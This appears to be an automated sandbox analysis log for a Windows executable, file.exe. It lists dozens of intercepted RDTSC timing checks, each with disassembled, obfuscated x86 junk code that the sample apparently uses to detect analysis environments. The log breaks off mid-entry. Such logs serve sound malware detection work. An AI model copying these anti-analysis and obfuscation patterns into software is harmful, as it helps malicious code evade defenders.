Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75A068 second address: 75A08F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F701CDC8387h 0x00000007 jc 00007F701CDC8382h 0x0000000d jno 00007F701CDC8376h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75D1E7 second address: 75D1EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75D1EB second address: 75D2D0 instructions: 0x00000000 rdtsc 0x00000002 js 00007F701CDC8376h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edi 0x0000000b push eax 0x0000000c jmp 00007F701CDC8384h 0x00000011 mov eax, dword ptr [esp+04h] 0x00000015 push ebx 0x00000016 jo 00007F701CDC838Ch 0x0000001c jmp 00007F701CDC8386h 0x00000021 pop ebx 0x00000022 mov eax, dword ptr [eax] 0x00000024 js 00007F701CDC8382h 0x0000002a jg 00007F701CDC837Ch 0x00000030 mov dword ptr [esp+04h], eax 0x00000034 push ecx 0x00000035 jmp 00007F701CDC837Dh 0x0000003a pop ecx 0x0000003b pop eax 0x0000003c push 00000003h 0x0000003e mov dword ptr [ebp+122D18C2h], eax 0x00000044 push 00000000h 0x00000046 mov esi, dword ptr [ebp+122D2A17h] 0x0000004c push 00000003h 0x0000004e mov esi, dword ptr [ebp+122D2CA3h] 0x00000054 sub dx, BCFBh 0x00000059 call 00007F701CDC8379h 0x0000005e push eax 0x0000005f jmp 00007F701CDC837Fh 0x00000064 pop eax 0x00000065 push eax 0x00000066 jmp 00007F701CDC8384h 0x0000006b mov eax, dword ptr [esp+04h] 0x0000006f jmp 00007F701CDC8380h 0x00000074 mov eax, dword ptr [eax] 0x00000076 push eax 0x00000077 push edx 0x00000078 jmp 00007F701CDC8387h 0x0000007d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75D2D0 second address: 75D2DA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007F701CDA8A66h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75D2DA second address: 75D2DE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75D2DE second address: 75D352 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp+04h], eax 0x0000000c jmp 00007F701CDA8A79h 0x00000011 pop eax 0x00000012 push 00000000h 0x00000014 push ebx 0x00000015 call 00007F701CDA8A68h 0x0000001a pop ebx 0x0000001b mov dword ptr [esp+04h], ebx 0x0000001f add dword ptr [esp+04h], 00000019h 0x00000027 inc ebx 0x00000028 push ebx 0x00000029 ret 0x0000002a pop ebx 0x0000002b ret 0x0000002c and dl, FFFFFFD4h 0x0000002f jmp 00007F701CDA8A73h 0x00000034 lea ebx, dword ptr [ebp+1244F0D6h] 0x0000003a xor esi, dword ptr [ebp+122D2A3Fh] 0x00000040 xchg eax, ebx 0x00000041 jg 00007F701CDA8A74h 0x00000047 push eax 0x00000048 push edx 0x00000049 pushad 0x0000004a popad 0x0000004b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75D410 second address: 75D443 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F701CDC837Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f popad 0x00000010 nop 0x00000011 mov edi, dword ptr [ebp+122D29D7h] 0x00000017 push 00000000h 0x00000019 mov ecx, edi 0x0000001b call 00007F701CDC8379h 0x00000020 push eax 0x00000021 push edx 0x00000022 push ecx 0x00000023 push edi 0x00000024 pop edi 0x00000025 pop ecx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75D443 second address: 75D494 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F701CDA8A72h 0x00000008 jne 00007F701CDA8A66h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 pushad 0x00000013 jmp 00007F701CDA8A74h 0x00000018 pushad 0x00000019 jnp 00007F701CDA8A66h 0x0000001f jnp 00007F701CDA8A66h 0x00000025 popad 0x00000026 popad 0x00000027 mov eax, dword ptr [esp+04h] 0x0000002b jc 00007F701CDA8A74h 0x00000031 push eax 0x00000032 push edx 0x00000033 push eax 0x00000034 push edx 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75D494 second address: 75D498 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75D498 second address: 75D53F instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov eax, dword ptr [eax] 0x00000008 jo 00007F701CDA8A6Eh 0x0000000e jc 00007F701CDA8A68h 0x00000014 pushad 0x00000015 popad 0x00000016 mov dword ptr [esp+04h], eax 0x0000001a jnl 00007F701CDA8A6Eh 0x00000020 pop eax 0x00000021 xor esi, 07F5B91Ch 0x00000027 push 00000003h 0x00000029 jmp 00007F701CDA8A73h 0x0000002e push 00000000h 0x00000030 push 00000003h 0x00000032 mov dword ptr [ebp+122D1C12h], eax 0x00000038 mov esi, dword ptr [ebp+122D2B27h] 0x0000003e push A479E08Ah 0x00000043 push edi 0x00000044 pushad 0x00000045 jmp 00007F701CDA8A72h 0x0000004a push ecx 0x0000004b pop ecx 0x0000004c popad 0x0000004d pop edi 0x0000004e add dword ptr [esp], 1B861F76h 0x00000055 xor esi, dword ptr [ebp+122D2A97h] 0x0000005b lea ebx, dword ptr [ebp+1244F0DFh] 0x00000061 call 00007F701CDA8A72h 0x00000066 sub si, EDFFh 0x0000006b pop ecx 0x0000006c push eax 0x0000006d push eax 0x0000006e push edx 0x0000006f jp 00007F701CDA8A68h 0x00000075 push ecx 0x00000076 pop ecx 0x00000077 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75D5D0 second address: 75D5DA instructions: 0x00000000 rdtsc 0x00000002 jg 00007F701CDC8376h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75D5DA second address: 75D5DF instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75D5DF second address: 75D602 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 nop 0x00000008 jg 00007F701CDC837Ch 0x0000000e push 00000000h 0x00000010 mov si, bx 0x00000013 push F1F24E8Fh 0x00000018 push ecx 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75D602 second address: 75D606 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75D606 second address: 75D664 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F701CDC837Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ecx 0x0000000a add dword ptr [esp], 0E0DB1F1h 0x00000011 mov dword ptr [ebp+122D27F9h], esi 0x00000017 push 00000003h 0x00000019 sub dword ptr [ebp+1244A8DEh], eax 0x0000001f push 00000000h 0x00000021 or dh, 0000002Eh 0x00000024 push 00000003h 0x00000026 push 00000000h 0x00000028 push esi 0x00000029 call 00007F701CDC8378h 0x0000002e pop esi 0x0000002f mov dword ptr [esp+04h], esi 0x00000033 add dword ptr [esp+04h], 0000001Dh 0x0000003b inc esi 0x0000003c push esi 0x0000003d ret 0x0000003e pop esi 0x0000003f ret 0x00000040 clc 0x00000041 push 5CC3C9C1h 0x00000046 push eax 0x00000047 push edx 0x00000048 push ebx 0x00000049 push eax 0x0000004a push edx 0x0000004b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75D664 second address: 75D669 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75D669 second address: 75D6AF instructions: 0x00000000 rdtsc 0x00000002 je 00007F701CDC837Ch 0x00000008 jbe 00007F701CDC8376h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 add dword ptr [esp], 633C363Fh 0x00000017 lea ebx, dword ptr [ebp+1244F0EAh] 0x0000001d push 00000000h 0x0000001f push ebp 0x00000020 call 00007F701CDC8378h 0x00000025 pop ebp 0x00000026 mov dword ptr [esp+04h], ebp 0x0000002a add dword ptr [esp+04h], 0000001Ah 0x00000032 inc ebp 0x00000033 push ebp 0x00000034 ret 0x00000035 pop ebp 0x00000036 ret 0x00000037 push eax 0x00000038 push eax 0x00000039 push edx 0x0000003a push eax 0x0000003b push edx 0x0000003c push eax 0x0000003d push edx 0x0000003e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75D6AF second address: 75D6B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75D6B3 second address: 75D6BD instructions: 0x00000000 rdtsc 0x00000002 jp 00007F701CDC8376h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77DFA0 second address: 77DFB2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 je 00007F701CDA8A88h 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77BF44 second address: 77BF48 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77BF48 second address: 77BF7F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F701CDA8A78h 0x00000007 jmp 00007F701CDA8A73h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pop ebx 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 pushad 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77BF7F second address: 77BF85 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77BF85 second address: 77BF92 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 je 00007F701CDA8A68h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77C297 second address: 77C2BA instructions: 0x00000000 rdtsc 0x00000002 jne 00007F701CDC8376h 0x00000008 jmp 00007F701CDC8381h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jng 00007F701CDC837Ch 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77C6B0 second address: 77C6B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77C6B5 second address: 77C6BF instructions: 0x00000000 rdtsc 0x00000002 je 00007F701CDC837Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77CFEF second address: 77D03C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F701CDA8A79h 0x00000007 jbe 00007F701CDA8A66h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push ecx 0x00000010 jmp 00007F701CDA8A6Fh 0x00000015 push ecx 0x00000016 pop ecx 0x00000017 pop ecx 0x00000018 pushad 0x00000019 jmp 00007F701CDA8A74h 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77D736 second address: 77D749 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F701CDC837Dh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77D749 second address: 77D754 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push edi 0x00000008 pop edi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77D754 second address: 77D758 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77D758 second address: 77D75C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77DE32 second address: 77DE38 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78214A second address: 78217D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pushad 0x00000004 popad 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c js 00007F701CDA8A7Bh 0x00000012 pushad 0x00000013 jnl 00007F701CDA8A66h 0x00000019 jmp 00007F701CDA8A6Dh 0x0000001e popad 0x0000001f mov eax, dword ptr [eax] 0x00000021 jnc 00007F701CDA8A74h 0x00000027 push eax 0x00000028 push edx 0x00000029 push eax 0x0000002a push edx 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78217D second address: 782181 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 782261 second address: 782265 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 782265 second address: 78226B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7835D4 second address: 7835E9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F701CDA8A71h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74F361 second address: 74F37F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F701CDC8387h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74F37F second address: 74F3B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F701CDA8A76h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F701CDA8A72h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74351D second address: 74352B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F701CDC837Ah 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74352B second address: 743551 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 js 00007F701CDA8A68h 0x0000000c push esi 0x0000000d pop esi 0x0000000e jns 00007F701CDA8A72h 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 743551 second address: 743555 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 743555 second address: 743559 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78A362 second address: 78A37A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jno 00007F701CDC8376h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push esi 0x0000000d push edi 0x0000000e pop edi 0x0000000f pushad 0x00000010 popad 0x00000011 pop esi 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 push ecx 0x00000017 pop ecx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78A37A second address: 78A3A0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F701CDA8A79h 0x00000007 jp 00007F701CDA8A66h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78A3A0 second address: 78A3A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78A3A6 second address: 78A3B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F701CDA8A66h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78A3B1 second address: 78A3B7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78A51E second address: 78A522 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78A522 second address: 78A540 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F701CDC8386h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push esi 0x0000000c pop esi 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78A540 second address: 78A546 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 743541 second address: 743547 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 743547 second address: 743551 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78B303 second address: 78B307 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78B307 second address: 78B30D instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78B92C second address: 78B932 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78B932 second address: 78B936 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78B936 second address: 78B95E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F701CDC8387h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jnc 00007F701CDC8384h 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78BFB5 second address: 78BFCA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jp 00007F701CDA8A68h 0x00000013 push ecx 0x00000014 pop ecx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78C129 second address: 78C12F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78C12F second address: 78C133 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78C133 second address: 78C145 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c jp 00007F701CDC8376h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78C943 second address: 78C94D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78E422 second address: 78E426 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78E426 second address: 78E42F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78DC41 second address: 78DC5B instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jno 00007F701CDC837Ch 0x0000000c popad 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push esi 0x00000011 push eax 0x00000012 pop eax 0x00000013 pop esi 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78EFAE second address: 78EFB8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007F701CDA8A66h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78EFB8 second address: 78EFBC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78EFBC second address: 78F007 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b push 00000000h 0x0000000d push eax 0x0000000e call 00007F701CDA8A68h 0x00000013 pop eax 0x00000014 mov dword ptr [esp+04h], eax 0x00000018 add dword ptr [esp+04h], 0000001Dh 0x00000020 inc eax 0x00000021 push eax 0x00000022 ret 0x00000023 pop eax 0x00000024 ret 0x00000025 push 00000000h 0x00000027 mov edi, ebx 0x00000029 push 00000000h 0x0000002b mov esi, dword ptr [ebp+122D1BF3h] 0x00000031 push eax 0x00000032 push eax 0x00000033 push edx 0x00000034 push edi 0x00000035 jmp 00007F701CDA8A6Ah 0x0000003a pop edi 0x0000003b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78F007 second address: 78F00D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 790467 second address: 7904AD instructions: 0x00000000 rdtsc 0x00000002 jo 00007F701CDA8A66h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b mov dword ptr [esp], eax 0x0000000e add dword ptr [ebp+1244BAB2h], ecx 0x00000014 push 00000000h 0x00000016 mov esi, dword ptr [ebp+122D2190h] 0x0000001c pushad 0x0000001d js 00007F701CDA8A6Bh 0x00000023 xor dl, FFFFFFDEh 0x00000026 popad 0x00000027 push 00000000h 0x00000029 mov di, dx 0x0000002c xchg eax, ebx 0x0000002d push edx 0x0000002e push ecx 0x0000002f jg 00007F701CDA8A66h 0x00000035 pop ecx 0x00000036 pop edx 0x00000037 push eax 0x00000038 pushad 0x00000039 push eax 0x0000003a push edx 0x0000003b jbe 00007F701CDA8A66h 0x00000041 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 792626 second address: 79263E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F701CDC8384h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79263E second address: 79264D instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79264D second address: 792651 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 792651 second address: 792657 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 792657 second address: 79265D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79265D second address: 792661 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 790D04 second address: 790D08 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 792661 second address: 7926F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 push 00000000h 0x0000000b push esi 0x0000000c call 00007F701CDA8A68h 0x00000011 pop esi 0x00000012 mov dword ptr [esp+04h], esi 0x00000016 add dword ptr [esp+04h], 00000016h 0x0000001e inc esi 0x0000001f push esi 0x00000020 ret 0x00000021 pop esi 0x00000022 ret 0x00000023 add esi, 5A698D30h 0x00000029 push 00000000h 0x0000002b push 00000000h 0x0000002d push edi 0x0000002e call 00007F701CDA8A68h 0x00000033 pop edi 0x00000034 mov dword ptr [esp+04h], edi 0x00000038 add dword ptr [esp+04h], 0000001Bh 0x00000040 inc edi 0x00000041 push edi 0x00000042 ret 0x00000043 pop edi 0x00000044 ret 0x00000045 